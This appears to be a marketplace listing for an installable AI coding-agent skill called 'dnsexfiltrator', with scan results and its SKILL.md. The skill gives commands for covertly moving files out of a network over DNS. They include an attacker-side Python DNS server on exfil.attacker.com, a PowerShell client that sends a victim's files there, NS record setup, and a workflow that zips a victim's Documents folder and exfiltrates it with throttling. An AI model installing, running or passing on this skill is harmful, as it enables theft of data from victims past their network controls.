aeondave/dnsexfiltrator
offensive-tools/data-exfiltration/dnsexfiltrator/SKILL.md
Exfiltrate data over DNS queries using a custom DNS server. Use when HTTP/S channels are blocked and DNS traffic is allowed outbound, enabling covert file transfer via DNS TXT/A records.
$ install --global
skillsauthnpx skillsauth add aeondave/malskill dnsexfiltratorInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
Security Scan Results
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
3
Scanners Passed
9
Scanners in report
Clean
TrivyContainer and dependency vulnerability scanner
95%
Clean
SemgrepStatic code analysis for vulnerabilities
95%
Clean
mcp-scan (Snyk)Model Context Protocol security validation
95%
Skipped
Snyk (dep)Open source security scanning
50%
Skipped
Socket.devSupply chain security analysis
50%
Skipped
VirusTotalMulti-engine malware detection
50%
Skipped
CrowdStrikeAdvanced threat intelligence
50%
Skipped
OSV-ScannerOpen Source Vulnerability database check
50%
Skipped
OWASP Dep-Check
50%
Last scanned: Mar 31, 2026, 9:08 PM66.3s1 file scanned
SKILL.md
- name:
- dnsexfiltrator
- description:
- Exfiltrate data over DNS queries using a custom DNS server. Use when HTTP/S channels are blocked and DNS traffic is allowed outbound, enabling covert file transfer via DNS TXT/A records.
- license:
- MIT
- compatibility:
- Python 3 (server); PowerShell (client); Linux server + Windows target; github.com/Arno0x/DNSExfiltrator
- author:
- AeonDave
- version:
- 1.0
DNSExfiltrator
Covert file exfiltration via DNS — Python server receives, PowerShell client sends.
Quick Start
# Attacker side — start DNS server (needs port 53 UDP)
sudo python3 dnsexfiltrator.py -d exfil.attacker.com -p password
# Victim side (PowerShell)
Invoke-DNSExfiltrator -i C:\sensitive\file.zip -d exfil.attacker.com -p password -t 500
DNS Setup
Point an NS record for your subdomain to your listener IP:
exfil.attacker.com NS ns1.attacker.com
ns1.attacker.com A <your-server-ip>
Core Options
| Option | Purpose |
|--------|---------|
| -d DOMAIN | Exfil domain (server) |
| -p PASSWORD | Encryption passphrase |
| -b 64/32 | Encoding (base64/base32) |
| -t MS | Throttle between queries (ms) |
| -r N | Max retries |
Common Workflows
Exfil archive from Windows:
# Compress first
Compress-Archive -Path C:\Users\victim\Documents -DestinationPath docs.zip
# Exfil
Invoke-DNSExfiltrator -i docs.zip -d exfil.attacker.com -p MyPass123 -t 200
Resources
| File | When to load |
|------|--------------|
| references/ | DNS setup guide and throttle tuning |
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